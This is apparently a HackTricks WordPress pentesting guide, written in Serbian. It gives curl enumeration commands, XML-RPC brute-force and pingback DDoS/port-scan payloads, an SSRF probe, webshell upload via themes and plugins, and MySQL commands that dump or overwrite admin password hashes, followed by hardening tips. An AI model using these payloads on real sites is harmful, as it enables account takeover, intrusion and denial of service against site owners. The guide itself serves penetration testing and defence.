Wordpress

Reading time: 15 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Osnovne informacije

  • Uploaded datoteke idu na: http://10.10.10.10/wp-content/uploads/2018/08/a.txt

  • Teme se mogu naći u /wp-content/themes/, tako da ako promenite neki php u temi da biste dobili RCE, verovatno ćete koristiti taj put. Na primer: Koristeći temu twentytwelve možete pristupiti 404.php datoteci u: /wp-content/themes/twentytwelve/404.php

  • Još jedan koristan URL može biti: /wp-content/themes/default/404.php

  • U wp-config.php možete pronaći root lozinku baze podataka.

  • Podrazumevani putanje za prijavu koje treba proveriti: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Glavne WordPress datoteke

  • index.php
  • license.txt sadrži korisne informacije kao što je verzija WordPress-a koja je instalirana.
  • wp-activate.php se koristi za proces aktivacije putem e-pošte prilikom postavljanja nove WordPress stranice.
  • Folderi za prijavu (mogu biti preimenovani da bi se sakrili):
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php je datoteka koja predstavlja funkciju WordPress-a koja omogućava prenos podataka putem HTTP-a kao transportnog mehanizma i XML-a kao mehanizma kodiranja. Ova vrsta komunikacije je zamenjena WordPress REST API.
  • Folder wp-content je glavna direktorijum gde se čuvaju dodaci i teme.
  • wp-content/uploads/ je direktorijum gde se čuvaju sve datoteke koje su otpremljene na platformu.
  • wp-includes/ Ovo je direktorijum gde se čuvaju osnovne datoteke, kao što su sertifikati, fontovi, JavaScript datoteke i dodaci.
  • wp-sitemap.xml U WordPress verzijama 5.5 i većim, WordPress generiše XML datoteku mape sajta sa svim javnim postovima i javno upitnim tipovima postova i taksonomijama.

Post exploitation

  • Datoteka wp-config.php sadrži informacije potrebne WordPress-u za povezivanje sa bazom podataka, kao što su ime baze podataka, host baze podataka, korisničko ime i lozinka, ključevi za autentifikaciju i soli, i prefiks tabela baze podataka. Ova konfiguraciona datoteka se takođe može koristiti za aktiviranje DEBUG moda, što može biti korisno u rešavanju problema.

Dozvole korisnika

  • Administrator
  • Editor: Objavljuje i upravlja svojim i tuđim postovima
  • Author: Objavljuje i upravlja svojim postovima
  • Contributor: Piše i upravlja svojim postovima, ali ih ne može objaviti
  • Subscriber: Pregleda postove i uređuje svoj profil

Pasivna enumeracija

Dobijanje WordPress verzije

Proverite da li možete pronaći datoteke /license.txt ili /readme.html

Unutar izvora koda stranice (primer sa https://wordpress.org/support/article/pages/):

  • grep
bash
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • CSS link datoteke

  • JavaScript datoteke

Preuzmi dodatke

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Preuzmi Teme

bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Ekstraktovanje verzija uopšte

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Aktivna enumeracija

Pluginovi i teme

Verovatno nećete moći da pronađete sve moguće Pluginove i teme. Da biste otkrili sve njih, biće potrebno da aktivno Brute Force-ujete listu Pluginova i tema (na sreću, postoje automatski alati koji sadrže ove liste).

Korisnici

  • ID Brute: Dobijate validne korisnike sa WordPress sajta Brute Forcing-om korisničkih ID-eva:
bash
curl -s -I -X GET http://blog.example.com/?author=1

Ako su odgovori 200 ili 30X, to znači da je id validan. Ako je odgovor 400, onda je id nevalidan.

  • wp-json: Takođe možete pokušati da dobijete informacije o korisnicima upitom:
bash
curl http://blog.example.com/wp-json/wp/v2/users

Još jedan /wp-json/ krajnji tačka koja može otkriti neke informacije o korisnicima je:

bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Napomena da ovaj krajnji tačka izlaže samo korisnike koji su napravili post. Samo informacije o korisnicima koji imaju ovu funkciju omogućenu će biti pružene.

Takođe, napomena da /wp-json/wp/v2/pages može da otkrije IP adrese.

  • Enumeracija korisničkog imena za prijavu: Kada se prijavljujete na /wp-login.php, poruka je drugačija u zavisnosti od toga da li je navedeno korisničko ime postoji ili ne.

XML-RPC

Ako je xml-rpc.php aktivan, možete izvršiti brute-force napad na kredencijale ili ga koristiti za pokretanje DoS napada na druge resurse. (Možete automatizovati ovaj proces koristeći ovo na primer).

Da biste proverili da li je aktivan, pokušajte da pristupite /xmlrpc.php i pošaljite ovaj zahtev:

Proveri

html
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Bruteforce kredencijali

wp.getUserBlogs, wp.getCategories ili metaWeblog.getUsersBlogs su neke od metoda koje se mogu koristiti za bruteforce kredencijale. Ako možete pronaći neku od njih, možete poslati nešto poput:

html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Poruka "Pogrešno korisničko ime ili lozinka" unutar odgovora sa kodom 200 treba da se pojavi ako akreditivi nisu validni.

Korišćenjem ispravnih akreditiva možete otpremiti datoteku. U odgovoru će se pojaviti putanja (https://gist.github.com/georgestephanis/5681982)

html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Takođe postoji brži način za brute-force kredencijale koristeći system.multicall jer možete pokušati nekoliko kredencijala u istom zahtevu:

Obilaženje 2FA

Ova metoda je namenjena programima, a ne ljudima, i stara je, stoga ne podržava 2FA. Dakle, ako imate važeće kredencijale, ali je glavni ulaz zaštićen 2FA, možda ćete moći da zloupotrebite xmlrpc.php da se prijavite sa tim kredencijalima obilažeći 2FA. Imajte na umu da nećete moći da izvršite sve radnje koje možete da uradite putem konzole, ali možda ćete i dalje moći da dođete do RCE-a kao što Ippsec objašnjava u https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS ili skeniranje portova

Ako možete pronaći metodu pingback.ping unutar liste, možete naterati Wordpress da pošalje proizvoljan zahtev bilo kom hostu/portu.
Ovo se može koristiti da se zatraži hiljade Wordpress sajtova da pristupe jednoj lokaciji (tako da se izazove DDoS u toj lokaciji) ili možete to koristiti da naterate Wordpress da skanira neku internu mrežu (možete naznačiti bilo koji port).

html
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Ako dobijete faultCode sa vrednošću većom od 0 (17), to znači da je port otvoren.

Pogledajte korišćenje system.multicall u prethodnom odeljku da biste naučili kako da zloupotrebite ovu metodu za izazivanje DDoS-a.

DDoS

html
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Ova datoteka obično postoji u korenu Wordpress sajta: /wp-cron.php
Kada se ova datoteka pristupi, izvršava se "teška" MySQL upit, tako da bi mogla biti korišćena od strane napadača da uzrokuje DoS.
Takođe, po defaultu, wp-cron.php se poziva pri svakom učitavanju stranice (svaki put kada klijent zahteva neku Wordpress stranicu), što na sajtovima sa velikim prometom može izazvati probleme (DoS).

Preporučuje se da se onemogući Wp-Cron i da se kreira pravi cronjob unutar hosta koji izvršava potrebne radnje u redovnim intervalima (bez izazivanja problema).

/wp-json/oembed/1.0/proxy - SSRF

Pokušajte da pristupite https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net i Wordpress sajt može da pošalje zahtev ka vama.

Ovo je odgovor kada ne funkcioniše:

SSRF

https://github.com/t0gu/quickpress/blob/master/core/requests.go

Ovaj alat proverava da li methodName: pingback.ping postoji za putanju /wp-json/oembed/1.0/proxy i ako postoji, pokušava da ih iskoristi.

Automatic Tools

bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Dobijanje pristupa prepisivanjem bita

Više od pravog napada, ovo je radoznalost. U CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man mogli ste da prebacite 1 bit iz bilo kog wordpress fajla. Tako ste mogli da prebacite poziciju 5389 fajla /var/www/html/wp-includes/user.php da NOP-ujete NOT (!) operaciju.

php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

Modifikovanje php iz teme koja se koristi (potrebne admin kredencijale)

Izgled → Urednik teme → 404 Šablon (s desne strane)

Promenite sadržaj za php shell:

Pretražite internet kako možete pristupiti toj ažuriranoj stranici. U ovom slučaju morate pristupiti ovde: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Možete koristiti:

bash
use exploit/unix/webapp/wp_admin_shell_upload

to get a session.

Plugin RCE

PHP plugin

Možda će biti moguće uploadovati .php fajlove kao plugin.
Kreirajte svoj php backdoor koristeći, na primer:

Zatim dodajte novi plugin:

Uploadujte plugin i pritisnite Install Now:

Kliknite na Procced:

Verovatno ovo neće učiniti ništa očigledno, ali ako odete na Media, videćete vaš shell uploadovan:

Pristupite mu i videćete URL za izvršavanje reverse shell-a:

Uploading and activating malicious plugin

Ova metoda uključuje instalaciju malicioznog plugina za koji se zna da je ranjiv i može se iskoristiti za dobijanje web shell-a. Ovaj proces se sprovodi kroz WordPress kontrolnu tablu na sledeći način:

  1. Plugin Acquisition: Plugin se dobija iz izvora kao što je Exploit DB kao here.
  2. Plugin Installation:
  • Idite na WordPress kontrolnu tablu, zatim idite na Dashboard > Plugins > Upload Plugin.
  • Uploadujte zip fajl preuzetog plugina.
  1. Plugin Activation: Kada je plugin uspešno instaliran, mora se aktivirati kroz kontrolnu tablu.
  2. Exploitation:
  • Sa instaliranim i aktiviranim pluginom "reflex-gallery", može se iskoristiti jer je poznato da je ranjiv.
  • Metasploit framework pruža exploit za ovu ranjivost. Učitajte odgovarajući modul i izvršite specifične komande da biste uspostavili meterpreter sesiju, što omogućava neovlašćen pristup sajtu.
  • Napominje se da je ovo samo jedna od mnogih metoda za iskorišćavanje WordPress sajta.

Sadržaj uključuje vizuelne prikaze koji prikazuju korake u WordPress kontrolnoj tabli za instalaciju i aktivaciju plugina. Međutim, važno je napomenuti da je iskorišćavanje ranjivosti na ovaj način ilegalno i neetično bez odgovarajuće dozvole. Ove informacije treba koristiti odgovorno i samo u legalnom kontekstu, kao što je pentesting sa izričitom dozvolom.

For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/

From XSS to RCE

  • WPXStrike: WPXStrike je skripta dizajnirana da eskalira Cross-Site Scripting (XSS) ranjivost na Remote Code Execution (RCE) ili druge kritične ranjivosti u WordPress-u. Za više informacija pogledajte this post. Pruža podršku za Wordpress verzije 6.X.X, 5.X.X i 4.X.X i omogućava:
  • Privilege Escalation: Kreira korisnika u WordPress-u.
  • (RCE) Custom Plugin (backdoor) Upload: Uploadujte svoj prilagođeni plugin (backdoor) u WordPress.
  • (RCE) Built-In Plugin Edit: Uredite ugrađene plugine u WordPress-u.
  • (RCE) Built-In Theme Edit: Uredite ugrađene teme u WordPress-u.
  • (Custom) Custom Exploits: Prilagođeni exploits za treće strane WordPress plugine/teme.

Post Exploitation

Izvucite korisnička imena i lozinke:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Promenite administratorsku lozinku:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Wordpress Plugins Pentest

Attack Surface

Znanje o tome kako Wordpress dodatak može izložiti funkcionalnost je ključno za pronalaženje ranjivosti u njegovoj funkcionalnosti. Možete pronaći kako dodatak može izložiti funkcionalnost u sledećim tačkama i neke primere ranjivih dodataka u ovom blog postu.

  • wp_ajax

Jedan od načina na koji dodatak može izložiti funkcije korisnicima je putem AJAX handlera. Ovi handleri mogu sadržati logiku, greške u autorizaciji ili autentifikaciji. Štaviše, prilično je često da će ove funkcije zasnivati i autentifikaciju i autorizaciju na postojanju Wordpress nonce-a koji bilo koji korisnik autentifikovan u Wordpress instanci može imati (nezavisno od njegove uloge).

Ovo su funkcije koje se mogu koristiti za izlaganje funkcije u dodatku:

php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

Korišćenje nopriv čini krajnju tačku dostupnom svim korisnicima (čak i neautentifikovanim).

caution

Pored toga, ako funkcija samo proverava autorizaciju korisnika pomoću funkcije wp_verify_nonce, ova funkcija samo proverava da li je korisnik prijavljen, obično ne proverava ulogu korisnika. Tako da korisnici sa niskim privilegijama mogu imati pristup akcijama sa visokim privilegijama.

  • REST API

Takođe je moguće izložiti funkcije iz WordPress-a registrujući REST AP koristeći funkciju register_rest_route:

php
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

permission_callback je povratna funkcija koja proverava da li je dati korisnik ovlašćen da pozove API metodu.

Ako se koristi ugrađena funkcija __return_true, jednostavno će preskočiti proveru korisničkih dozvola.

  • Direktan pristup php datoteci

Naravno, WordPress koristi PHP i datoteke unutar dodataka su direktno dostupne sa veba. Dakle, u slučaju da dodatak izlaže bilo koju ranjivu funkcionalnost koja se aktivira samo pristupanjem datoteci, biće podložna eksploataciji od strane bilo kog korisnika.

WordPress zaštita

Redovne ažuriranja

Uverite se da su WordPress, dodaci i teme ažurirani. Takođe potvrdite da je automatsko ažuriranje omogućeno u wp-config.php:

bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Takođe, instalirajte samo pouzdane WordPress dodatke i teme.

Bezbednosni dodaci

Ostale preporuke

  • Uklonite podrazumevanog admin korisnika
  • Koristite jake lozinke i 2FA
  • Periodično proveravajte dozvole korisnika
  • Ograničite pokušaje prijavljivanja kako biste sprečili Brute Force napade
  • Preimenujte wp-admin.php datoteku i dozvolite pristup samo interno ili sa određenih IP adresa.

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks